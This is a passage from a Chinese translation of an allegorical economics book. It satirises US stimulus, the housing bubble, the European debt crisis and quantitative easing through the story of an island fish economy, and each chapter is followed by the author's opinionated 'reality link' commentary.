　　“几乎不可能，阁下。你想一想，他们手里已经有很多钞票了。如果他们不接受，那些钞票只会更加贬值。他们现在只能任由我们摆布。要是情况有变，我们就提醒他们，我们还有‘强鱼政策’。”

　　“对啊，我都给忘了。有这个政策真好。我们是不是要全面出动，捕更多的鱼支撑我们的钞票？”

　　“不是的，阁下。”本·伯南柯插话说，“强鱼政策只是说说而已。我们实际上什么也不用做。我们只需要反复清楚而大声地强调‘强鱼政策’。另外，你在说这几个字时，攥紧拳头敲桌子效果会更好。”

　　“太对了，小伯，我在假装强硬上还是很有天赋的。圆满完成任务！走，冲浪去！”

现实链接

　　繁荣的房市对整个经济的影响至关重要。在房市繁荣的巅峰时期，房屋的融资、建设和装修成了美国经济的中流砥柱。然而，每个人都只看到了眼前的好运，却没注意到未来的损失。

　　不仅“炒房者”赚到了大量财富，普通房主们每年也通过“以小换大”贷款获得数千亿美元。如此一来，房产成了免税的自动提款机。人们用这些钱翻新房屋、度假、上大学以及买车和电子产品，总体生活水平比房屋升值前提高了。

　　但是，这些财富不过是海市蜃楼。

　　罗伯特·席勒在《非理性繁荣》（Irrational Exuberance）一书中写道，在 1900~2000 年这 100 年的时间里，美国的房价平均每年上涨 3.4%（只比平均通货膨胀率略高）。这是相当合理的。物价与人们的购买力密切相关，这也是收入和信贷可得性的作用之一。

　　然而，1997~2006 年，全美房价平均每年上涨 19.4%，涨幅惊人。在此期间，收入却鲜有提高。那么人们是如何支付高昂的购房款的呢？这两个时期的区别在于信贷的多寡。后期美国政府制定了许多政策，贷款利率更低，获得贷款也更容易。但是信贷不会永远扩张，最终贷款条件会变得更严格。一旦信贷收缩，房价就不可能再升高了。

　　所以，房市达到巅峰时，多年来不断涌入经济体中的低息贷款停止了。即便在房市开始萧条之后没有其他的经济问题（实际上是有问题的），没有了那些自由现金流，经济也一定会萎缩。为了恢复经济平衡，经济衰退不是必需的，却是必要的。

　　但是，当经济开始收紧时，立法者和经济学家不仅不认为这一过程是多年来银根松动以及过度消费的结果，反而把它当作问题本身。换句话说，他们错把解药当作毒药。

　　小布什和奥巴马政府一直都鼓励消费者像房市崩溃之前那样消费。但是钱从哪儿来？如果失业率上升，收入和房价下降，消费者怎么会有这么多钱？

　　经济学家宣称，如果人们不能消费，政府就应该采取措施帮助他们消费。但是，政府也没有多少钱。政府所有的就是税收、贷款和自己印刷的货币。税金和借款只是将私营部门的花销或投资转嫁到政府头上，印制货币也会产生同样的效果。政府将新发行的货币投入流通领域，必然会抑制老百姓手中所持货币的购买力。

　　最近一次经济崩溃之后的几年，印制货币的做法带来了巨大的贸易逆差，达到了每年一万亿美元。幸运的是，我们依然能够在公开市场上出售大部分债务，当然主要是针对外国买家。但是，美国也采取了更简单（也更不坦诚）的方式避免损失，即通过美联储将相当一部分债务卖给了美国自己。

　　但是，美国不会一直拥有这样的“好运”。最终美国政府只有两个选择：拒绝还款（告诉债主美国没钱，并商议一个解决办法），或者通货膨胀（印钱来还债）。任何一个选择的后果都很严重。拒绝还款还有可能彻底清算从头来过，是相对较好的选择。不幸的是，虽然通货膨胀在经济上影响相对较差，但是在政治上有好处。

第十六章：情形怎么变得如此糟糕

　　虽然巴斯和普兰克顿推出了援助和刺激政策，美索尼亚国的经济在棚屋大萧条中还是持续恶化。奇怪的是，没人有购买棚屋的意愿。一些岛民认为刺激政策中的鱼不该用来消费，而是应该将它们储蓄起来。由于消费停滞，驴车公司都到了崩溃的边缘。棚得宝也破产了。失业问题愈加严重。岛上民怨沸腾。

　　因此，下一次大选至关重要。总议长候选人巴里·奥库达指责巴斯集团“国难当头，无所作为”。他揶揄说，巴斯的政策都是微不足道的折中政策。奥库达的竞选主题是变革，他承诺要让政府尽最大的努力挽救美索尼亚国的经济。

　　年轻的奥库达掌权以后改变了巴斯的政策，将刺激计划扩大为原来的三倍。他还设计了很多新的计划，将新印刷的鱼邦储备券注入市场。

　　他提高了政府为购买棚屋者提供的援助金额（开始时只有第一次购买棚屋者享有，后来“以小换大”的购买者也获得了资格），并再次调低了“两棚”的贷款利率。

　　他注意到冲浪学校的入学率大幅下降，于是增加了对学校的直接援助，并放宽了助学贷款的条件。

　　他还批准在背阴沼泽建造一座新的灯塔。工程师们指出这座灯塔毫无用处，奥库达告诉他们，建筑工程所提供的就业岗位本身就能对经济起到强大的促进作用。

　　奥库达还坚信有必要开发替代能源。他指出：“社会太依赖驴子了。美洲驼更适合我们的气候和地貌。美洲驼不仅吃草少，而且步履更稳健，性情更温和，繁殖速度也比驴子快。更重要的是，美洲驼粪便的气味没有那么难闻。”

　　奥库达设想了一个多步骤的计划，用以改变经济状况。

　　第一，他将利用大规模的刺激政策，加快以美洲驼为基础的基础设施建设。为此，他号召设立一项美洲驼繁衍计划，由政府拨款。他还命令驴车生产厂家（现在由政府直接掌管）重新设计车子，以适应美洲驼的特点。另外，他要求在岛上所有的车道上面铺上一层适合美洲驼踩踏的土。

　　第二，奥库达想出了一个“驴车换鲤鱼”计划。政府提供优惠，鼓励人们上交“草老虎”，换取能效更高的车子。（这对中岛帝国人来说是个天大的喜讯，因为大部分的小型车都是他们制造的。）

　　奥库达和他在参议院的帮手南·莎洛西正准备花费新印刷出来的成堆的钞票，但他们忽略了一个小小的细节：美索尼亚国已经完全没有存鱼了。他们所计划的所有开销都要依靠外国的资金支持。

　　只有外国人愿意用实实在在的货物换取他们的纸币，美索尼亚人才能维持消费大于产出的生活。因此，他们的选择很简单：

　　1．减少消费，用储蓄还债；

　　2．增大产量，卖掉多余的货物还债；

　　3．追加贷款，继续保持现有的消费水平。

　　在前两个选择中，美索尼亚人都要吃苦。要么努力工作，要么减少消费，再不然就是双管齐下。而第三种选择可以把一切痛苦转嫁给外国人。毫无疑问，参议员们勇敢地选择让外国人当替罪羊。通过这些措施，他们希望恢复消费支出，重新建立国内健康的经济环境。

故事引申

　　很多人想当然地认为，类似“驴车换鲤鱼”的计划具有正面影响，背阴沼泽建筑计划创造了就业岗位。这些方案确实增加了消费，创造了就业岗位，这是显而易见的。

　　但是，就像参议院出资的棚屋贷款一样，这些绝不是利用岛上资源的最有效的方式。实际上，这些活动都不能扩大产能。

　　人们看不到的是，由于稀有的劳动力和资源都用在了参议院认为比较重要的活动上，导致很多其他的就业岗位和本来可能形成的岗位受到损失。

　　通过反复的实验，市场的力量会找出使用这些投资资本的最佳方式。如果企业因为误读市场而蒙受损失，投资者就会及时抽身。如果企业顺应市场要求并获得利润，就会吸引更多的资金，从而扩大产能。

　　这些资源如果用于制作渔网、农业用具和独木舟，效果会更好。最成功的企业应该是在人们最需要的时候生产他们最需要的东西。然而，现在很明显人们已经不再相信自由市场，所有人都寄希望于一小撮人，希望他们能够为整个岛做决定。

　　但是，要记住，一国的经济不会因为人们的消费而增长，而是经济增长带动人们的消费。参议员们和顾问们都没能抓住这个真理。与此同时，大把大把的新钞票营造了经济有所好转的假象。

　　失业人员获悉，就业岗位在美索尼亚国迅速消失的同时，却在中岛帝国以同样的速度增加。原因在于中岛帝国买了很多鱼邦储备券，抬高了鱼邦储备券的价值，中岛帝国的产品就变得物美价廉，无法抗拒了。所以，奥库达和莎洛西公开要求中岛帝国少买些鱼邦储备券，令其贬值，从而使美索尼亚国的产品更有竞争力。

　　当然，没人想过鱼邦储备券是他们筹款的方式，中岛帝国如果减持鱼邦储备券，怎么还能把鱼借给他们，用以支持奥库达设想的消费计划呢？他们甚至不屑于思考这个问题。参议员们只想着借钱，却忘了总要有人可借才行。

　　一些岛民开始担心政府为了偿还债务而过度借贷。为了安抚民众的恐慌情绪，参议院对借款的上限进行了设定，他们称之为“债务屋顶”。这一合法的遮羞布使那些参议员可以两头获益。借款的硬上限会造成一个假象：人们以为参议院真的打算解决财政问题。但事实上，每当快要达到借款上限时，他们都可以随时抬高债务屋顶。尽管一些有责任感的议员会站出来阻止过度借贷，对不断提高债务最高上限持反对意见，可他们往往被歪曲为拒绝支付小岛账单的寄生虫，没有一丝责任感。奥库达向其他参议员保证，这个小岛的媒体对他们会唯命是从，可以依靠这些媒体来说服投资者们，使他们相信自始至终不负责任的做法其实很负责任。奥库达说得没错。极为讽刺的是，这个“债务屋顶”居然为参议院顶破债务屋顶提供了完美的掩护！

现实链接

　　一两年后，几份 GDP 报告（这些报告本身也许并不可靠）少有地出现正增长态势，一些经济学家向我们宣布，经济大萧条结束了，真正的经济复苏马上就要开始了。但此时，失业率仍然处于历史最高点，待遇优厚的制造业岗位持续减少，而薪资低、技术门槛低的服务业岗位则不断增加，许多美国人听到这样的好消息，也许会大吃一惊吧。

　　实际上，这次经济危机已经促使经济恢复平衡，这个过程会很痛苦，而且远未结束。2009 年，美国的存款率多年来首次升高，贸易逆差在飙升 10 年后也开始萎缩。但是，小布什和奥巴马政府的刺激计划结束了这一进程。美国人本该回到与生产力相称的生活水平上去，但他们的计划制造了更加巨大的债务，从而延缓了这个过程。

　　但是，在不久的将来，也许就在几年以后，巨大的债务终需偿还。从前那些繁荣的欧洲国家正中债务危机的子弹，到目前为止，美国还算成功地避开了这颗可怕的子弹。现在，美国暂时躲过一拳。不幸的是，美国的预算赤字年年增长，社会保障和医疗保险体系濒临崩溃（一部分原因是婴儿潮一代退休引起的人口结构上的变化），所以这一拳迟早会来，而且会更有力。

　　美国政府没有显示出任何解决该问题的意愿。它们从来没有考虑过大幅削减政府支出的可能性，更别说尝试那样做了。奥巴马总统刚上任时，他要求“逐句”审查三万亿美元的联邦预算，以找出“无用的开销”，但这不过是作秀而已。结果只是节省了微不足道的 170 亿美元，还不到整个预算的 0.5%。而那些提倡削减预算的人也遭到了民主党和共和党的猛烈抨击。

　　如果美国政府不在财政上严于律己，美国的债权人（主要是中国和日本）迟早会要求美国那么做。债权人可以选择多种方式让美国就范，最有效的一招就是停止购买美国的国债。

　　目前，这些国家的处境与中岛帝国相似。一旦它们认识到不断向一个付不起账的顾客借钱是件浪费资源的事，就会改弦更张。那时它们就会把生产力集中到国内消费者身上，它们就能完全享受自己的劳动果实了。

　　目前，国际上要求金融改革的呼声高涨，这些国家虽然也怨言不断，但它们还是继续借钱给美国。但是，它们的忍耐是有限度的。

　　现在美国一半以上的政府债务都卖给了外国政府，如果它们拒绝继续购买，谁来买美国的国债？美国国内可用的储蓄少得可怜，美国人自己解决不了这个问题。

　　等到那一天到来，美国有两种选择：拒绝还款或通货膨胀。不论选哪一个，由于购买力下降和利率升高，美国人的生活水平都会急剧下降。

第十七章：缓兵之计

　　奥库达与莎洛西满心期待他们的各项新计划能为这座小岛带来极大繁荣，可此时海外接连发生的几件大事完全抢走了他们的风头。朱特尼亚群岛爆发了一次更加严重的棚屋崩溃风暴。那里孕育着悠久的历史与灿烂的文明，气候温和宜人，不远处就是以海上夜生活闻名的小鼓岛。于是一座座海滨度假棚屋拔地而起，棚屋建设和买卖的热潮吸引着四面八方的投资者，他们将大量的鱼投资在这里。随着鱼越来越多地涌入群岛，新的银行和投资基金也纷纷建立起来。用于度假棚屋建设的大部分鱼是通过几个投资方案筹集的，而这些方案都是基于金融巨头曼尼先生开创的那些投资模式设计的。建棚热带来的其他活动不断渗透到当地经济的各个方面，这就意味着朱特尼亚群岛的居民可以过上他们根本担负不起的奢侈生活。于是，这里成了吃空饷、悠闲生活以及提早退休的代名词。

　　但好景不长，美索尼亚的历史在这里重演了。朱特尼亚群岛的棚屋供过于求的问题终于演变为棚屋大萧条危机，此时那些野心勃勃的银行和投资基金陷入了严重的困境，许多投资者也仓促地撤出了现金。鉴于这些做法，朱特尼亚群岛的各类基金迅速跌至谷底，拥有此类资产的各大银行很快也面临着全面破产。于是，各岛政府忙不迭地从其他岛贷款，帮助本地银行摆脱困境。这样的做法总算解了燃眉之急，但很快，许多人意识到，朱特尼亚群岛的各级政府实际上对债务清偿问题也是一筹莫展，日子不比他们岌岌可危的银行好过到哪儿去。于是，一场银行业危机演变成了一场波及多岛的政府债务危机。

　　在这个紧急关头，一个名为 IMF（岛际海上渔民组织）的跨洋机构仓促成立，并立即推出了一项计划。

　　IMF 代表大洋上每个发达岛屿的利益，它从美索尼亚借来了数额巨大的鱼邦储备券（目前仍被视为最可靠的货币），并将这些储备券贷给举步维艰的朱特尼亚群岛各政府。IMF 相信，在事态发展到无法收拾的地步之前遏制住这场棚屋危机，符合整个大洋的利益。

　　有了 IMF 提供的鱼邦储备券，朱特尼亚政府就能够兑现其向公民和外国债权人做出的承诺。那些已经退休的人得知不用再次工作，都松了一口气。他们中有许多人最近刚从冲浪学校毕业，满心期盼着能再一次过上那种慵懒、悠闲的慢节奏生活。

　　虽然 IMF 提供的紧急财政援助贷款的利息很低，朱特尼亚政府仍然需要用真鱼来偿还债务（其实他们连偿还本金的能力都不具备，但似乎根本没人在意这件事）。

　　尽管面临着来自 IMF 的巨大压力，朱特尼亚群岛各政府并没有推行任何行之有效的改革，结果就连利息的支付也成了巨大的负担。考虑到这里的政府腐败，百姓养尊处优，好吃懒做，他们会不断逃避自身的责任，IMF 强制要求该群岛接受了一项“刚性”计划，其中包含提高税收以及减少政府支出等内容。这一计划遭到了当地居民的强烈抵制，他们觉得好像自己的岛屿被不怀好意的外岛人控制了。

　　而美索尼亚就要幸运得多。朱特尼亚群岛出现的诸多问题极大地分散了美索尼亚民众对国内矛盾的注意力。面对朱特尼亚的危机，整个大洋的投资者的反应都是：从该群岛撤出所有鱼，不再与这里的任何基金有任何瓜葛。很多人开始把存款转到鱼邦储备银行，毕竟这里一直是公认的规模最大、资金存储最充足的机构。事实上，美索尼亚的经济状况也是岌岌可危，甚至比许多岛屿还要糟糕，但这种状况似乎并没有给存款人带来多大困扰。实际上，美索尼亚能有惊无险地度过这次危机，完全仰仗该国令人钦佩的历史和持久稳定的声誉，人们始终相信该国银行是不会破产的。

　　奥库达将意外之财投入自己的部分危机后应急项目中。他要求失业的渔民也要承担还款的责任，增加了冲浪学校学生贷款的鱼的数额，并且极大地拓展了鱼邮票项目。

　　虽然有些人最担心的结果并未出现，但美索尼亚仍未脱离困境。鱼的数量已经不足，新公司也无法像过去那样不断涌现，工作岗位少得可怜，明显供不应求。仅存的一线希望来自冲浪学校，该校吸引着越来越多的生源，学费也在持续上涨。鉴于当前经济停滞不前的现状，岛上的很多人都对未来的种种不确定性忧心忡忡，于是采取了明智的做法：他们几乎苛刻地自我约束着，不断降低消费，重新储蓄。

　　但当人们降低消费时，商店和企业就不得不做出调整。随着待售的存货越积越多，许多商家只好大幅降价，以吸引广大顾客。但价格的持续走低，也就是人们所说的通鱼紧缩，开始成为伯南柯担心的主要问题。他认为，价格下跌是自弗兰基·迪普时代的大鲨鱼泛滥以来最危险的经济威胁，且不论当年还曾连续几年禁渔了。伯南柯指出，一旦老百姓认为自己想要的东西将来总会降价，他们就会一再推迟购买时间。从理论上讲，如果价格持续下跌，人们就有可能一直等下去，直到所有东西都免费白送。如果那种情况真的发生了，那所有的企业都会破产，全岛的经济会立即退回到网前时代（pre-net era）。

　　对此，他提出了一个名为“定量鱼券”的方案，这个独特的新方法旨在通过向经济中注入新的“鱼邦储备券”来刺激需求。

　　但这个方案不是把钱直接送到老百姓手里（这样做看起来像是政府凭空创造出了许多鱼邦储备券一般），伯南柯提议通过曼尼的投资（尤其是那些针对破旧棚屋区改造的投资）注入这些鱼券，而曼尼的再融资基金随后便会展开自己的各项投资活动，以需求促进经济增长。一旦经济状况看似有所好转，人们就会开始消费，就好像一切真的好起来了一样。

　　消费会推动价格上涨，经济得以健康发展。错综复杂的融资渠道使经济本身看似逐渐好转。然而，参议院的某些议员却提出质疑：这样一套人为系统是否具备长期的可行性？伯南柯向所有人保证说，这项计划只是临时性的。

　　这一方案最终被定名为“定量鱼券 1 号方案”，即 QF1。该方案的推出备受推崇。华孚街（Wharf Street）再现昔日繁华，大批渔船来到这里，但这次船上堆满了钞票，而不是一堆堆腐烂的鱼。这些钞票直接送到了曼尼的办公室，这些钱要用来买进拖欠的棚屋贷款，重新投资岌岌可危的企业，为学生提供低价的贷款等等。于是，棚屋价格停止下跌，逐渐稳定，最终开始上涨。人们觉得比之前富足，于是开始消费，价格也开始上涨。一切都呈现出欣欣向荣的景象。

现实链接

　　从 2010 年起，全世界都将目光聚焦在一出慢动作戏剧上，这出戏就是将所谓“PIGS”（即葡萄牙、意大利、希腊和西班牙）国家卷入泥潭的债务危机。这些国家都有着阳光充足的地中海气候、璀璨富有的历史以及待遇丰厚的社会保障体系，除此之外，它们还都是欧盟成员，其负债水平也都远远超出本国经济的发展。尽管每个国家都面临着严峻的挑战，希腊却不幸成为这次危机的靶子。

　　就其经济状况的荒唐程度而言，希腊的确是个例外。据一份未经证实的财务报表（其中部分由美国投资银行高盛设计，该银行曾涉嫌金融欺诈）显示，希腊 2001 年获准进入欧元区，开始使用强劲稳健的欧元作为流通货币，作为回报，希腊要在欧元区严格的财政指导下发展经济。但是，南北欧之间政治独立与文化差异结合方式的大不同会导致严重的货币混乱局面，而那些一心想推行单一通货的设计师当时并未意识到这一点。

　　尽管希腊从 2004~2006 年的房地产建设热潮中获益不少，但到了 2010 年，一个事实却越来越清晰：这个国家已经无望偿还已有的债务，更没有可能兑现自己对公民的承诺了。希腊成了一个臭名昭著的国家，成了短期工作、长期罢工、提早退休、连续逃税的代名词。通常来说，一个国家沦落到希腊这样的地步，会通过否认债务或货币贬值来应对危机。但作为欧元区的一员，这些做法希腊一样也不能采用。

　　这一事件导致的政治与经济危机，使欧洲连年稳居全球经济新闻头条。这对美国来讲倒是幸事，欧洲的诸多问题对美国而言，无异于天赐良机。希腊首都雅典大街上游行的人群不仅是经济恶化的醒目标志，还使恐惧蔓延，令整个欧洲大陆深陷泥潭。这样的剧变使许多投资基金转而越过大西洋，去寻找更安全的避风港。于是，在美国经济亟须支撑之时，大量资金及时涌入美国。讽刺的是，许多经济学家对此的评论居然是，欧洲的问题已经成为美国经济的负担，然而实际上，这些问题带给美国的明明是一种福祉。

　　尽管希腊的经济状况远不能跟美国相提并论，但并不是整个欧洲大陆都不如美国。事实上，德国（毋庸置疑是推动整个欧元区发展的经济强国）的经济状况远好于美国，但欧元区至少得共同面对债务管理失控的困境。美国政府也要做出与欧盟类似的努力才行。虽然欧洲的政治联盟仍有待完善，至少该组织还没有为欧洲开出那一剂最危险的经济药方：量化宽松。

　　2008 年之前，量化宽松这一概念尚未普及，只有大学经济学系的学生听说过。而过去几年间，量化宽松已被越来越多的人视为影响股票、债券和房地产走势最重要的因素。尽管很多人知道美国依赖量化宽松，但很少有人真正看透其本质：向金融市场注入新的资金，以推动价格上涨。实际上，量化宽松不过是通货膨胀的一种委婉表达，它也成为美联储将政府债务货币化的隐秘手段。

　　但想用量化宽松政策来修复萎靡的经济，就好比企图用汽油去救火一样，汽油越多，火势就越旺。如果不知道汽油具有可燃性，你可能会得出这样的结论：火没扑灭是因为汽油的量不够大。要是这样的误解不消除，形势就会持续恶化，直到火势失去控制。这不正是美国当前经济状况的真实写照么？！

　　正如本书前文所述，大多数经济学家认为，消费会促进经济增长。增加货币供应量固然会鼓励人们消费，但对扩大需求却毫无裨益，而需求才是促进经济增长的真正动力。

第十八章：占领华孚街

　　定量鱼券计划实施的头几个月，貌似取得了不错的成效，而此时，伯南柯却决定按照最初的规划逐渐停止这项计划。他认为定量鱼券计划已经达到既定目标：阻止价格下跌，使消费者重获信心，开始消费。然而，伯南柯未能考虑到经济反弹（其实不过是抬高棚屋价格和持有棚屋贷款的各项基金的价格而已）的整个过程如何建立在干预本身的基础之上。这座小岛越来越依赖定量鱼券，该计划一叫停，经济泡沫便开始破灭。导火索似乎并未点燃实体经济那根更笨重的木头，由于债务、通鱼膨胀以及政府花销等诸多问题，那根木头一直都太过潮湿了。

　　因此，当渔船满载着真鱼（而不是定量鱼券）开进华孚街时，恐慌便蔓延开来。曼尼棚屋基金的经理们不能再指望还有闲钱注入，只好相应缩减自己的投资。当各项基金停止发放新的棚屋贷款时，棚屋购买需求便一落千丈，价格也随之骤然下降。

　　此次经济下滑立刻引起了伯南柯的注意。他不甘心让此前施行的定量鱼券计划前功尽弃，于是敦促鱼邦储备银行推出新一轮定量鱼券，也就是后来人们熟知的“定量鱼券 2 号方案”。这一次发行的定量鱼券数量和 1 号方案等量。因此，一艘艘船又一次送来了鱼券，华孚街上的人们紧绷的神经总算放松下来，基金价格回升，棚屋市场再一次稳定下来。

　　伯南柯向每个人保证，这次计划和第一次一样，只是临时性的。但是，当第二次定量鱼券计划完成时，经济发展再度停滞。然而这次失败并没有让伯南柯重新评估自己的伟大想法。同时，他也不希望人们完全看透自己，于是他提出了一项名为“压缩操作”（Operation Squish）的计划。这个计划不是简单地发行新鱼券，而是指导鱼邦储备银行将现有的短期贷款换为期限较长的新型贷款，从而延长还款期，让那些偿付高昂棚屋贷款非常吃力的人每月少还些钱。尽管较低的利息有助于缓和局势，可终归无法平息华孚街上不断高涨的呼声，那里的人们希望再来一波鱼券。

　　最终，伯南柯决定尽量满足市场需求。为避免经历极有可能十分尴尬的考验，他没有再次宣布实施临时计划，而是公布了一项开放式的定量鱼券计划。该计划将一直执行下去，直到那些永久性债务偿清之日为止。华孚街上沸腾了，这项被民众称为“无限期定量鱼券”计划的新项目，为人们带来了一个清晰的、可以预见的未来，当然还有大量的免费鱼。最重要的是，该计划以迅猛之势抬高了棚屋价格，曼尼那些原本脆弱的投资计划身价也上涨了。一些观察员强烈反对这一计划，那位坚定的怀疑论者派克·希夫先生便是其中一位。然而，岛上大多数著名经济学家的建议如出一辙，他们指出人们只需紧跟潮流即可。他们说：“浪打来时，聪明人是不会问问题的，他们只会紧紧抓住自己的滑板。”

　　正当华孚街大肆庆祝之时，岛上其他地方仍举步维艰。许多人注意到，官鱼变得越来越小（尽管不断有报道称通鱼膨胀已经结束），失业率仍然居高不下。选民们原本对奥库达期待很高。而今，人们对他承诺的变革再也不抱任何幻想了。

　　在很多心怀不满的人看来，华孚街置身经济阴霾之外是显失公平的。他们觉得，毕竟是曼尼及其同伴为人们提供了根本无力偿还的贷款，从而加速了经济的崩溃。许多人甚至怀疑曼尼曾使用不正当手段，强迫岛上居民购买他们根本不需要或不想要的棚屋。有人甚至断言银行家用催眠术诱骗了岛民。

　　但当棚屋价格暴跌时，华孚街上却没有一个人愿意承担责任。棚屋贷款基金得到了鱼邦储备银行和定量鱼券计划的救助。实际上，此时华孚街上的基金价格比以往任何时候都要高。为了抚平人们心头的愤怒，伯南柯称，曼尼和他的朋友们“对我们至关重要，绝不能置之不理”，小岛会利用所有的资源助力曼尼基金平稳着陆。华孚街的经纪人似乎从未经历过他们强加于别人身上的痛苦。

　　很快，一个由失业工人、心怀不满的棚屋购买者以及难以承受巨额助学贷款重压的年轻人组成的临时联盟去往各个码头，决心要像往常一样关闭企业。他们发起的“占领华孚街”运动激起了公众的想象力，成为后危机时代挫败的象征。

故事引申

　　那些愤怒的抗议者并未搞清楚，他们愤怒的矛头其实指错了对象。曼尼和他的下属不应该为这次混乱负责，该负责任的是巴斯、奥库达、格林芬和伯南柯这些人。要不是那些政客和银行家，华孚街上的融资者们早就顺理成章地被赶出华孚街了。尽管“占领华孚街”从未真正发展为政治运动，但政客们看到讨伐的双拳挥向了错误的方向，心中还是暗自窃喜。许多精明的参议员投票支持紧急援助，实际上是和那些抗议者站在同一战线上的。

　　经济复苏缓慢，令人们沮丧和困惑。在下次选举中，经济问题将成为选民关心的头等大事。与奥库达同台竞选的对手中，有位外表斯文、发型讲究的米奇·卢斐先生。起初，卢斐利用民众不断高涨的“反奥库达”情绪，略占上风，但由于其财力雄厚，而且担任过华孚街的执行官，再加上他对任何议题都没有一个坚定的立场，许多选民便对他失去信任，渐渐疏远。后来人们发现，他居然在一个外国的地下室里藏有私鱼，此时其候选人地位几乎不保了。

　　参与竞选的还有另一位候选人唐·佩奇博士，一名现任参议员。唐·佩奇称，奥库达和卢斐提出的方案大同小异。而小岛现在需要的就是重拾昔日创造辉煌时的理念：鱼的大小合理，政府有所节制，民众争相储蓄、努力工作，以及充分尊重第一代捕鱼者留下的规矩等等。只可惜，小岛的媒体过于迷恋几位领先的候选人散发出的明星魅力，没有精力去关注一匹黑马。

　　幸好唐·佩奇博士的儿子桑迪·佩奇博士在其父退休之后，也坐稳了参议员的位置。

　　由于两位人气候选人奥库达和卢斐的观点几乎没有实质性区别，于是，两个人身上的符号便成了民众瞩目的焦点。针对卢斐容易引发阶级不满情绪这一弱点，奥库达提议，富人阶层应该提高纳税额，这才是经济复兴的关键所在。尽管卢斐争辩说，政府支出会带来更大的危险，但其私藏的那成堆成堆的鱼，使他很容易成为公众迁怒的对象。最终，连帅气的发型也救不了他了。

　　奥库达连任之后，参议院部分议员试图通过一些小举措削减政府支出。一些人甚至建议，要相应裁掉在背阴沼泽灯塔工作的员工（其实看上去没太大用处）。奥库达和莎洛西对此表示强烈反对。吉尔·格鲁曼教授（小岛上备受赞誉的经济学家）解释道，政府支出的使用远不及支出本身重要。他甚至建议，政府可以着手准备全面防范小鼓岛的新一轮入侵，借此推动经济的发展。而事实上小鼓岛目前一派安定，入侵一说根本就是捕风捉影。

　　但参议院最终还是避开了有关富人增税和政府支出的艰难决策，转而实施了一项名为“海洋探索者”的方案，包括适度增税以及政府支出随意“削减”等一系列措施。但是，该方案引发了民众的强烈抗议。格鲁曼本人指出，不管多大幅度的削减，都会导致“财政悬崖”的危险情形，即遭到削减的政府支出会抑制需求，使小岛陷入经济衰退的窘境。

　　同时，伯南柯开始警告人们，如果银行不发行更多的定量鱼券，价格将会面临全面下跌的危险。岛上的居民都不理解为什么价格下跌成了一个问题，如果生活必需品的价格下降了，人们不就能买更多自己需要的东西了吗？就连商人也希望物价下跌。成本下降了，他们就可以利用省出来的钱为顾客提供优惠，也能售出更多的商品。尽管这个道理看似简单，但伯南柯和格鲁曼却使人们相信，经济学是一门科学，只有受过多年学校教育的人才会明白其中的奥秘。此外，两人的胡须都相当迷人，这一点在民众心中是加分项。

　　不久之后，有人开始想，小岛要怎样才能恢复正常秩序？有人甚至直言不讳地指出：当前经济过于依赖定量鱼券。为了缓解民众的紧张情绪，伯南柯宣布，他可以利用“退出策略”这一绝招逐步结束定量鱼券的使命。但伯南柯内心明白自己不过是在虚张声势。他知道，没有了银行的支持，曼尼的基金会崩溃，棚屋市场会一蹶不振，政府也将丧失偿还债务的能力。但伯南柯是决然不会承认这一点的。于是，“退出策略”的谎言越编越长，直到他编不下去为止。随着时间流逝，他的预测越来越含糊，他的承诺也附带了更多条件。伯南柯延迟的窘迫局面越多，问题就变得越严重。

故事引申

　　在经济发展的迷茫期，收入的减少和对未来的恐惧会限制众多购物者的消费行为，此时，物价下跌会激起人们再次消费的欲望。所以，物价的确会对低迷的经济产生自然的刺激。在 20 世纪 30 年代的大萧条时期，物价暴跌。尽管许多现代经济学家认为，当时暴跌的物价是那场大萧条的诱因，而非其产物，但有一点毋庸置疑，那就是，当人们找不到工作时，生活必需品的价格下降至少会带给他们一些安慰。按照那些经济学家的说法，如果人们必须同时面对上升的失业率和上涨的物价，他们的日子能好过吗？

　　与 20 世纪 30 年代那场大萧条不同，在 2008~2010 年的经济衰退期，生活消费品的价格从未下降。考虑到当时的经济混乱是由人们对投机极度狂热所导致的，古典经济学本来可以预测到这场混乱过后会出现通货紧缩现象。但美联储宽松的货币政策，阻止了这种有益的经济衰退的发生。于是人们只能同时面对经济紧缩与通货膨胀两种困境。

　　但随着经济逐步回暖，棚屋与基金价格逐渐回升，参议院和那些经济学家们也宣布他们胜利了。人们普遍认为，伯南柯比他的历届前任都更足智多谋。

现实链接

　　遗憾的是，美国人的记性总是很差。过度的借款与支出导致房地产市场出现了投机泡沫，全美经济因此几乎崩溃，而似乎人们转头就忘了这些。到头来，美国人依旧欢迎那些政策以及更多同类政策，还指望它们将我们拉出经济衰退的泥淖。听上去，这样的计划当然比另一个方案（明显不讨好的选择：

　　消费不足、拒付债务、更高储蓄）更加容易。这就好比以毒攻毒的解酒方一样，以为宿醉之后最好的醒酒方法便是在清晨再来一口烈酒。但只要有酒鬼，这个借口就一直奏效。其实有时候，宿醉之后最好的解药就是一杯黑咖啡外加几片白吐司面包。

　　2008 年房市崩溃前夕，美国用巨额借款建设和售卖房屋，而实际上人们并没有那么大的需求。事实证明，这些钱用错了地方。正是由于我们把钱花在了不需要的东西上，所以才没有足够的钱来换取我们真正需要的，比如扩大工业基地。

　　政府并没有运用市场的影响力来调整泡沫经济，将其引向健康可行的轨道，成为能够持续有机增长的经济，而是一味使泡沫不断膨胀。经济崩溃后不久，政府借款数目超过了此前私营部门缩减的借款数目。

　　第一轮量化宽松政策于 2008 年年底和 2009 年实施。当时作为“一次性”计划，购买了大约两万亿美元债券，这些债券以住房抵押贷款和政府支持的机构作为担保。当时，许多“有毒”债券由那些最大的银行和投资基金持有，如果它们被迫在公开市场上倾售债券，其可能蒙受的损失会造成一片恐慌，市场也会随之瘫痪。若此时美联储主动介入，购买一些没人买的债券，市场就会如释重负。

　　然而，2010 年第一季度，美联储的购买量逐渐减少，股票市场很快抛售一空。这时，有些经济学家开始警告人们将会出现经济“二次衰退”（double dip recession）。同年 11 月，美联储又一次启动了量化宽松政策，包括更大手笔地购买国债，这一举措使得利率降到了历史最低点。但似乎没有人关心美联储的下一个更大举动——购买最大规模的国债。在经典术语中，这个过程叫作“债务货币化”。通常这一举动被视为一个国家在绝望之时所做的垂死挣扎。但在这一案例中，这个举动不过被视作促进经济复苏的正当手段而已。

　　在 2011 年第二季度和第三季度，当第二次量化宽松政策逐渐停止时，市场又一次出现好转的迹象。之后，美联储推出了“扭曲操作”（Operation Twist），即：将短期债务换作长期债务。这一计划失败后，美联储最终决定继续实施量化宽松政策，每月投入 850 亿美元，国债与抵押债券基本各占一半。

